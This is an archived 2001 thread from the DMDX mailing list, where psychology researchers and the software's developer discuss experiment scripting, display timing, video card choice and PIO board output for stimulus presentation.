Trial 001: arrow for 60 ticks {refresh rate of screen} background + image1 for 3 ticks {refresh rate of screen} background + image2 for 3 ticks {refresh rate of screen} background for 60 ticks {begin timer} Trial 002: arrow for 60 ticks {refresh rate of screen} background + image1 for 3 ticks {refresh rate of screen} background for 6 ticks {refresh rate of screen} background + image2 for 3 ticks {refresh rate of screen} background for 60 ticks {begin timer} >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 16 18:26:53 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA21003 for ; Thu, 16 Aug 2001 18:26:38 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by phobos.email.Arizona.EDU (5.1.056) id 3B7A01F80002FC6D for DMDX@psy1.psych.arizona.edu; Thu, 16 Aug 2001 18:26:37 -0700 Message-Id: <5.1.0.14.2.20010816182327.009f3380@psy1.psych.arizona.edu> Date: Thu, 16 Aug 2001 18:27:57 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: reality check In-Reply-To: <3B75633000004158@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:07 PM 8/16/01 -0700, you wrote: > n128 f3 640,480,480,16,0> > > >+001 %60 x288 y304 g ""arrow"" / g ""background"", x288 y272 ! g ""image1"" > / %0 g ""background"" /x328 y272 ! g ""image2"" / %60 g ""background"" */; > >+002 %60 x288 y304 g ""arrow"" / g ""background"", x288 y272 ! g ""image1"" > / %6 g ""background"" /x328 y272 ! g ""image2"" / %60 g ""background"" */; > > >This is conceptually what I thought it was doing: > >Trial 001: >arrow for 60 ticks {refresh rate of screen} >background + image1 for 3 ticks {refresh rate of screen} >background + image2 for 3 ticks {refresh rate of screen} >background for 60 ticks {begin timer} > >Trial 002: >arrow for 60 ticks {refresh rate of screen} >background + image1 for 3 ticks {refresh rate of screen} >background for 6 ticks {refresh rate of screen} >background + image2 for 3 ticks {refresh rate of screen} >background for 60 ticks {begin timer} I concur. Is there something that makes you doubt that that is in fact the display sequence? BTW, a bang in a frame that begins with a comma is superflous, the comma has a non-erase built in with it's use. For example these two fragments are identical: g ""background"", x288 y272 ! g ""image1"" g ""background"", x288 y272 g ""image1"" -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Picture the sun as the origin of two intersecting 6-dimensional hyperplanes from which we can deduce a certain transformational sequence which gives us the terminal velocity of a rubber duck ..."" >From DMDX-owner@psy1.psych.arizona.edu Sun Aug 26 21:03:27 2001 Received: from sunb.ocs.mq.edu.au (sunb.ocs.mq.edu.au [137.111.1.11]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id UAA14000 for ; Sun, 26 Aug 2001 20:58:36 -0700 Received: from bunyip.psy.mq.edu.au (bunyip.bhs.mq.edu.au [137.111.39.130]) by sunb.ocs.mq.edu.au (8.10.2/8.10.2) with ESMTP id f7R3wYp16083 for ; Mon, 27 Aug 2001 13:58:35 +1000 (EST) Received: from BUNYIP/SpoolDir by bunyip.psy.mq.edu.au (Mercury 1.48); 27 Aug 01 13:54:38 GMT+10 Received: from SpoolDir by BUNYIP (Mercury 1.48); 27 Aug 01 13:54:23 GMT+10 Received: from [137.111.33.171] (137.111.33.171) by bunyip.psy.mq.edu.au (Mercury 1.48) with ESMTP; 27 Aug 01 13:54:18 GMT+10 Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Mon, 27 Aug 2001 13:51:02 +1000 To: DMDX@psy1.psych.arizona.edu From: Amanda Subject: [DMDX] Radeon Video Card Query Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, I am trying to purchase hardware to run a visual dot probe experiment using DMDX. The experiment involves presentation of 2 adjacent monochrome photographs (500 ms). I am aware of current problems with using GEFORCE2 video cards to display such images. The hardware I am considering purchasing includes a 32MB ATI RADEON 4X AGP video card. Has anyone experienced difficultites using this video card with DMDX? Many Thanks Amanda >From DMDX-owner@psy1.psych.arizona.edu Mon Aug 27 09:27:20 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA15328 for ; Mon, 27 Aug 2001 09:22:59 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by deimos.email.Arizona.EDU (5.1.056) id 3B8A7237000003D0 for DMDX@psy1.psych.arizona.edu; Mon, 27 Aug 2001 09:22:56 -0700 Message-Id: <5.1.0.14.2.20010827092204.009edc00@psy1.psych.arizona.edu> Date: Mon, 27 Aug 2001 09:24:28 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Radeon Video Card Query In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:51 PM 8/27/01 +1000, you wrote: >Hi, >I am trying to purchase hardware to run a visual dot probe experiment using >DMDX. The experiment involves presentation of 2 adjacent monochrome >photographs (500 ms). I am aware of current problems with using GEFORCE2 >video cards to display such images. The hardware I am considering >purchasing includes a 32MB ATI RADEON 4X AGP video card. Has anyone >experienced difficultites using this video card with DMDX? Not yet, not at least that I've heard about. I have seen the various ATI cards perform adequately over the years and have reports of a recent TV out card of theirs functioning very nicely so I suspect you're on firm ground buying one. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If A = B and B = C, then A = C, except where void or prohibited by law. - Roy Santoro >From DMDX-owner@psy1.psych.arizona.edu Tue Aug 28 07:59:55 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA17894 for ; Tue, 28 Aug 2001 07:58:46 -0700 Received: from pc114 by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Tue, 28 Aug 2001 15:58:42 +0100 (BST) From: ""Andyw"" To: ""DMDX"" Subject: [DMDX] Videos in DMDX, A sample script +info. Date: Tue, 28 Aug 2001 15:58:51 +0100 Message-ID: <000a01c12fd1$f34f10c0$92fd3fc1@mrccbu.cam.ac.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I've successfully made a DMDX experiment for fMRI, that displays videos of facial expressions to people. As it was rather tricky to set up and uses a few new features of DMDX, I'd thought I'd post a sample script file for others to use. We had great difficultly manipulating video speed in Adobe premiere (above 30 fps) and decided to display the frames individually in DMDX. This is great, because you can have the video frame rate as high as you want, and you can easily adjust its speed (change the f value in the top line or specify each frame individually, eg. %2). By finding out the refresh rate of your computer, you can work out exactly how long a 'video' is displayed for (tick duration x no of ticks per still x no of stills). The disadvantage of this method is that each frame has to be loaded from the disk. This substantially increases the delay that DMDX requires between items. Since this was an fMRI experiment we needed to keep this delay to a minimum. With the speed of presentation in this expt however, the computer couldn't cope and kept on reporting missing ticks. The computer is a pentium III at 700Mhz, has a 16MB graphics card and has 512MB of RAM, so no small potatoes here. We could only get this to work with a delay parameter of 75 ticks (about 1000 milliseconds) which was too long for our purposes. The solution to this is to load all the pictures BEFORE the participant starts the expt and to use the command. This keeps the pics in memory for as many items as you specify (as n=191 in this expt, should be ideal... to be safe, we stuck it at 360). To have an idea of how much this speeds up loading times, in the final experiment we could display 11 frame videos at, 2 ticks (~25msec) per frame with a compulsory delay of only 2 ticks between items (the time used by DMDX to load and save data). Holding all the images in RAM in this way puts quite a heavy load onto the machines memory. However, in our experience this wasn't too much of a problem. For our experiment, we needed to load 191 full screen, grey-scale bit map files. These took up about 65 MBytes (0.3 Mb / picture) on the disk and so were well within the capacity of our PC. Another advantage of a smaller is that you can also have a longer period for recording subject responses (using the command). See Matt Davis's FAQ for other info on continuous running expts for fMRI: http://www.mrc-cbu.cam.ac.uk/personal/matt.davis/fmri_dmdx.html Also check out the help file at http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhtimingnotes.htm Other things to consider: 1. Your screen resolution and colour depth affects the tick rate. By modifying this, you can indirectly change the speed of the video. The change from 32 bit to 16 bit colour is HARD to notice (as in impossible), but significantly speeds up video presentation. Useful if your frame rate is a low multiple of your tick rate (1, 2, 3's etc). 2. Another way to adjust the tick rate is to alter the screens Refresh rate. Right click on the screen, goto settings, advanced, adapter and then have a play. Also, crucially, make sure you are not displaying 'videos' faster than the display (important in fMRI when projectors are used). 3. Chances are you don't want to see the pics as they are loading. Use to hide them. This maps the top left corner of the pic onto the bottom right. We added a ""Loading Images"" to this part, it flickered after each block loaded; useful stress buster, if u can see something happening, you know it hasn't crashed. One thing that might be useful in a future version of DMDX would be a more 'official' way of loading pictures without displaying them on screen... how about a keyword? 4. For a more exact figure on the minimum delay, you could look at the maximum time it takes a pic to load when its in memory (look at the preparation times that DMDX outputs after you have run the expt). Perhaps add on a few ticks for good measure as well. To reduce the value to 1 you would probably have to use a second computer to record responses... 5. Don't number the 'load up' items as 0 as this tells DMDX to wait for a response before moving onto the next item. Hope the script is of use to people, Andy. (cheers goes to Matt for coming up with some cunning idea's). ------------------------------------------ t1999 d29 f2 ^0 * ""Sex discrimination experiment.""; 1001 ""CF00""/ ""CF02""/ ""CF04""/ ""CF06""/ ""CF08""/ ""CF10""/ ""CF12""/ ""CF14""/ ""CF16""/ ""CF18""/ ""CF20""/ %10 ""Loading Images""/; ...etc... ^0 * ""The experiment will start shortly.""; 0 ""Wait for Scanner.""; 0 ""3""; 0 ""2""; 0 ""1""; 0 ""0""; 0 ""+""; ^107*""PEF00""/ ""PEF02""/ ""PEF04""/ ""PEF06""/ ""PEF08""/ ""PEF10""/ ""PEF12""/ ""PEF14""/ ""PEF16""/ ""PEF18""/ %50 ""PEF20""/%78/; ...etc... 0 L ""Please wait for further instructions.""; ---------------------------------------- Andy Woods MRC Cognition and Brain Sciences Unit 15 Chaucer Road Cambridge, CB2 2EF Work 01223 355294 ext. 295 Mobi 07887 856295 Home 01763 263108 http://www.mrc-cbu.cam.ac.uk/~andywoods ---------------------------------------- >From DMDX-owner@psy1.psych.arizona.edu Tue Aug 28 09:23:01 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA18178 for ; Tue, 28 Aug 2001 09:22:40 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by phobos.email.Arizona.EDU (5.1.056) id 3B8B9FEA0000504D for DMDX@psy1.psych.arizona.edu; Tue, 28 Aug 2001 09:22:39 -0700 Message-Id: <5.1.0.14.2.20010828091931.009f7730@psy1.psych.arizona.edu> Date: Tue, 28 Aug 2001 09:24:13 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Videos in DMDX, A sample script +info. In-Reply-To: <000a01c12fd1$f34f10c0$92fd3fc1@mrccbu.cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:58 PM 8/28/01 +0100, you wrote: >3. Chances are you don't want to see the pics as they are loading. Use 1,1,1,1> to hide them. This maps the top left corner of the pic onto the >bottom right. We added a ""Loading Images"" to this part, it flickered after >each block loaded; useful stress buster, if u can see something happening, >you know it hasn't crashed. One thing that might be useful in a future >version of DMDX would be a more 'official' way of loading pictures without >displaying them on screen... how about a keyword? Stick a %0 in the frames doing the loading and put your ""loading"" frame afterwards without a non-erase (no !). -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If A = B and B = C, then A = C, except where void or prohibited by law. - Roy Santoro >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 29 18:47:37 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA22059 for ; Wed, 29 Aug 2001 18:42:32 -0700 Received: by deimos.email.Arizona.EDU (5.1.056) id 3B8A72370004EE65 for DMDX@psy1.psych.arizona.edu; Wed, 29 Aug 2001 18:42:30 -0700 Message-ID: <3B8A723A000051ED@deimos.email.Arizona.EDU> Date: Wed, 29 Aug 2001 18:42:30 -0700 From: ""Keolani Taitano"" Subject: [DMDX] delay and response timeout parameters To: ""DMDX listserv"" MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Does the value specified for the Delay parameter in the parameter line add to the duration of the item within the timeout window or after the timeout occurs? My stimulus duration is much shorter than my timeout and I would like to add more time to the item after the stimulus occurs so that the item lasts a little longer than the timeout period. Can I do this by increasing the Delay parameter? Thanks, Keo Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychiatry University of Arizona Health Sciences Center P.O. Box 245002 Tucson, AZ 85724-5002 voice: 520-626-8568 fax: 253-369-3571 >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 29 19:20:12 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id TAA22167 for ; Wed, 29 Aug 2001 19:16:02 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by deimos.email.Arizona.EDU (5.1.056) id 3B8A72370004F7AC for DMDX@psy1.psych.arizona.edu; Wed, 29 Aug 2001 19:16:01 -0700 Message-Id: <5.1.0.14.2.20010829191315.009f5ec0@psy1.psych.arizona.edu> Date: Wed, 29 Aug 2001 19:17:35 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: delay and response timeout parameters In-Reply-To: <3B8A723A000051ED@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:42 PM 8/29/01 -0700, you wrote: >Does the value specified for the Delay parameter in the parameter line add >to the duration of the item within the timeout window or after the timeout >occurs? The delay specifies the time from when the item is deemed to have finished, what constitutes the end of an item depends on the item. In your case it will be from the subject timeout because that is the last thing to occur. >My stimulus duration is much shorter than my timeout and I would like to >add more time to the item after the stimulus occurs so that the item lasts >a little longer than the timeout period. Can I do this by increasing the >Delay parameter? Technically, yes. I would usually put a dummy frame in that ensured the display lasted longer. There's nothing to stop you having a frame that has the same visual component as the preceding one if you need to extend the display. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If A = B and B = C, then A = C, except where void or prohibited by law. - Roy Santoro >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 30 05:08:15 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id FAA23287 for ; Thu, 30 Aug 2001 05:03:49 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id f7UC3np09137 for ; Thu, 30 Aug 2001 14:03:49 +0200 From: ""Derek N. Eder"" To: Subject: [DMDX] details wanted on PIO output Date: Thu, 30 Aug 2001 14:02:35 +0200 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_000E_01C1315C.6BDCA8A0"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_000E_01C1315C.6BDCA8A0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit I don't understand a couple of things about the outputting of data to the PIO card. (If I had a PIO board now, I would be able to answer these questions myself in a matter of minutes) (1) What the N or H arguments of the Output and OutputHex functions, respectively? Two explanations are plausible, either: a) N/H is the ADDRESS of the BIT that will be written to, e.g., - output a '1' to bit 8 of PIO board: 1 or ... b) N/H is the VALUE that will be written to the 8, 16, or 24 bit (depending on the board) output register of the board, e.g., - output a '1' to bit 8 of PIO board, all other bits '0': or - output '1' to bit 9: - output '1's to bits 8 and 9: (Where '1' is an electrically High state and '0' is an electrically Low state) (2) Isn't the PIO output latched by the card? Either way, if you do output, you need to embed the Output in a timing routine to create the desired output waveform (e.g., a single pulse), don't you? e.g., output not latched, output 100 msec pulse: / . . . e.g., output latched: / (3) May I suggest sticking an example or two into the help file(s) ? You may find that a few examples here and there will forestall many hours of answering (or at least reading) questions from people like me. Thanks, Derek Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden ------=_NextPart_000_000E_01C1315C.6BDCA8A0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I don't understand a couple of things = about the=20 outputting of data to the PIO card.  =20 (If I had a PIO board now, I would be able to answer these = questions myself in a matter of = minutes)   (1)  What the N or H arguments of = the Output=20 and OutputHex functions, respectively?   Two explanations are plausible,=20 either:          =20 a)  N/H is the ADDRESS of the BIT that will be written to,=20 e.g.,         - output a '1' to bit 8 of PIO = board: =20 1           = or=20 ...          =20 b)  N/H is the VALUE that will be written to the 8, 16, or = 24=20 bit       =20 (depending on the board) output register of the board, = e.g.,         - output a '1' to bit 8 of PIO board, = all other=20 bits '0':  or         - output '1' to bit 9:  =         - output '1's to bits 8 and 9: =20        =20 (Where '1' is an electrically High state and '0' is an = electrically Low=20 state)   (2)  Isn't the PIO output = latched by the=20 card?  Either way, if you do output, you need to embed the=20 Output     in a timing routine to create the = desired=20 output waveform (e.g., a single pulse), don't=20 you?          <= SPAN=20 class=3D128335511-30082001>e.g., output not latched, output 100 = msec=20 pulse:  /  . .=20 .     e.g.,=20 output latched:   = /=20   (3)  May I suggest sticking an = example=20 or two into the help file(s) ?  You may find that a few examples=20 here and there will forestall many hours of answering (or at = least=20 reading) questions from people like me.   Thanks,   Derek Derek N. EderG=F6teborgs = UniversitetInstitutionen f=F6r=20 klinisk neurovetenskap - psykiatriSahlgrenska universitetssjukhuset=20 SS/SUBl=E5 straket 17bSE 413 45  = G=F6teborgSverigeTlf. +46=20 (031) 34 26 139Fax. +46 (031) 34 21=20 533 derek.eder@neuro.gu.seGothenburg=20 UniversityInstitute of Clinical Neuroscience,Section for=20 PsychiatrySalhgrenska Hospital  SU/SSSE 413 45 =20 G=F6teborgSweden    ------=_NextPart_000_000E_01C1315C.6BDCA8A0-- >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 30 06:35:02 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id GAA23482 for ; Thu, 30 Aug 2001 06:30:20 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id f7UDUKp12147 for ; Thu, 30 Aug 2001 15:30:20 +0200 From: ""Derek N. Eder"" To: ""DMDX"" Subject: [DMDX] PIO-24 board ONLY for OUTPUT? (sanity check) Date: Thu, 30 Aug 2001 15:29:06 +0200 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_001A_01C13168.81C33BA0"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_001A_01C13168.81C33BA0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit I want to confirm that 24 channel I/O boards (e.g., PIO-24) CANNOT be used for signal inputs (e.g., response buttons). I get that distinct impression from the ""Input"" page of the online help files ("" PIO12output24 Only outputs 24 bits to a PIO12 No Buttons"") If so, the inability to use 24+ channel boards for INPUT is a distinct hindrance to future the growth of DMDX because 16 channel boards are not as widely availlable as they once were. Measurement Solutions, formerly Computerboards (http://www.computerboards.com/) only has one 16 channel board for $200, the ISA bus CIO-PDMA16. This board emulates the 8254 and is perhaps not DMDX compatible. Similarly, Keithly has only the 12 channel ISA bus PIO-12. With neither comnpany making PCI bus cards with less than 24 channels, the handwriting is on the wall. On the other hand, DMDXer Michael Wenger at Notre Dame writes about using a Keithly 24 channel PCI I/O board ""to collect responses off the button box and generate TTL pulse for controlling the goggles."" (http://www.nd.edu/~mwenger1/), so I is really confused at this here juncture as to if DMDX does the old in and out on 24 channel boards. - Derek Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden ------=_NextPart_000_001A_01C13168.81C33BA0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I want = to confirm=20 that 24 channel I/O boards (e.g., PIO-24) CANNOT be used for signal = inputs=20 (e.g., response buttons).  I get that distinct impression from = the ""Input""=20 page of the online help files ("" PIO12output24   Only outputs = 24 bits=20 to a PIO12   No Buttons"")   If so, = the=20 inability to use 24+ channel boards for INPUT is a distinct hindrance to = future=20 the growth of DMDX because 16 channel boards are not as widely = availlable as=20 they once were.  Measurement Solutions, formerly Computerboards (http://www.computerboards.com/) only=20 has one 16 channel board for $200, the ISA bus CIO-PDMA16.  This = board=20 emulates the 8254 and is perhaps not DMDX compatible.  Similarly, = Keithly=20 has only the 12 channel ISA bus PIO-12.  With neither comnpany = making PCI=20 bus cards with less than 24 channels, the handwriting is on the=20 wall.   On the = other hand,=20 DMDXer Michael Wenger at Notre Dame writes about using a Keithly 24 = channel=20 PCI I/O board  ""to collect responses off the button box and = generate TTL=20 pulse for controlling the goggles."" (http://www.nd.edu/~mwenger1/), = so I is=20 really confused at this here juncture as to if DMDX does the old in and = out on=20 24 channel boards.   -=20 Derek     Derek N. EderG=F6teborgs = UniversitetInstitutionen f=F6r=20 klinisk neurovetenskap - psykiatriSahlgrenska universitetssjukhuset=20 SS/SUBl=E5 straket 17bSE 413 45  = G=F6teborgSverigeTlf. +46=20 (031) 34 26 139Fax. +46 (031) 34 21=20 533 derek.eder@neuro.gu.seGothenburg=20 UniversityInstitute of Clinical Neuroscience,Section for=20 PsychiatrySalhgrenska Hospital  SU/SSSE 413 45 =20 G=F6teborgSweden    ------=_NextPart_000_001A_01C13168.81C33BA0-- >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 30 09:05:14 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA23847 for ; Thu, 30 Aug 2001 09:05:06 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by deimos.email.Arizona.EDU (5.1.056) id 3B8A72370005AA63; Thu, 30 Aug 2001 09:05:04 -0700 Message-Id: <5.1.0.14.2.20010830085115.009ec050@psy1.psych.arizona.edu> Date: Thu, 30 Aug 2001 09:06:36 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: details wanted on PIO output Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:02 PM 8/30/01 +0200, you wrote: > b) N/H is the VALUE that will be written to the 8, 16, or 24 bit > (depending on the board) output register of the board, e.g., > - output a '1' to bit 8 of PIO board, all other bits > '0': or > - output '1' to bit 9: > - output '1's to bits 8 and 9: > (Where '1' is an electrically High state and '0' is an > electrically Low state) Close but no cigar. Port A Port B Port C Bit 7.....Bit 0 Bit 7.....Bit 0 Bit 7.....Bit 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 > (2) Isn't the PIO output latched by the card? Yes. >Either way, if you do output, you need to embed the Output > in a timing routine to create the desired output waveform (e.g., a > single pulse), don't you? Yes. > e.g., output latched: / > Correct. > (3) May I suggest sticking an example or two into the help file(s) > ? You may find that a few examples here > and there will forestall many hours of answering (or at least reading) > questions from people like me. Don't worry having written this it'll get pasted in there. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If A = B and B = C, then A = C, except where void or prohibited by law. - Roy Santoro >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 30 09:09:56 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA23865 for ; Thu, 30 Aug 2001 09:09:50 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by deimos.email.Arizona.EDU (5.1.056) id 3B8A72370005ACF4 for DMDX@psy1.psych.arizona.edu; Thu, 30 Aug 2001 09:09:48 -0700 Message-Id: <5.1.0.14.2.20010830090730.009f05d0@psy1.psych.arizona.edu> Date: Thu, 30 Aug 2001 09:11:20 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: PIO-24 board ONLY for OUTPUT? (sanity check) In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:29 PM 8/30/01 +0200, you wrote: >I want to confirm that 24 channel I/O boards (e.g., PIO-24) CANNOT be used >for signal inputs (e.g., response buttons). I get that distinct >impression from the ""Input"" page of the online help files ("" >PIO12output24 Only outputs 24 bits to a PIO12 No Buttons"") That is because no one has yet to use more than 8 bits of input let alone 16 and is a choice I make in DMDX, it has nothing to do with the hardware. The 24 lines on a PIO24 can be used either as all input or all output or 8 out and 16 in or 16 out and 8 in. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If A = B and B = C, then A = C, except where void or prohibited by law. - Roy Santoro >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 30 09:13:58 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA23890 for ; Thu, 30 Aug 2001 09:13:53 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by deimos.email.Arizona.EDU (5.1.056) id 3B8A72370005AF17; Thu, 30 Aug 2001 09:13:51 -0700 Message-Id: <5.1.0.14.2.20010830091517.009f5a90@psy1.psych.arizona.edu> Date: Thu, 30 Aug 2001 09:15:25 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: details wanted on PIO output Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed 